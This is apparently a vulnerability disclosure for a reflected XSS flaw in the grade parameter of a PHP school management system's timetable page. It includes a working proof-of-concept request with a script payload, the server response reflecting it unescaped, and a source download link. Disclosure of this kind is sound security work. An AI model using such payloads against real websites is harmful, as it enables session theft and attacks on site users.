

XSS injection vulnerability exists in grade parameter of /view/timetable\_grade\_wise.php file of Complete Web-Based School Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

```
Request
Pretty Raw Hex
1 GET /std1/view/timetable_grade_wise.php?do=show_Timetable&grade=13'()%26%25<zzz><ScRiPt%20>alert(9222)</ScRiPt> HTTP/1.1
2 Accept: */*
3 Referer: http://192.168.30.1/std1
4 Cookie: PHPSESSID=0hmf9amcnumd16gsjs2k06ehe
5 Accept-Encoding: gzip, deflate, br
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
7 Host: 192.168.31.163
8 Connection: Keep-alive
9
10

Response
Pretty Raw Hex Render
10 <div class="box">
11 <div class="box-header">
12
13 Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in
E:\phpstudy\phpstudy_pro\WWW\std1\view\timetable_grade_wise.php on line 17
14
15 <a href="#" onClick="showModal(this)" class="btn btn-success btn-sm pull-right" data-id="13'()%&%<zzz><ScRiPt >alert(9222)</ScRiPt>">Add <span class="glyphicon glyphicon-plus"></span></a>
16 <!--MSK-000113-->
<h3 class="box-title">
Timetable -
</h3>
17 </div>
18 <!-- /.box-header -->
<div class="box-body table-responsive">
```

Payload: grade=13'()%26%25<zzz><ScRiPt%20>alert(9222)</ScRiPt>

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>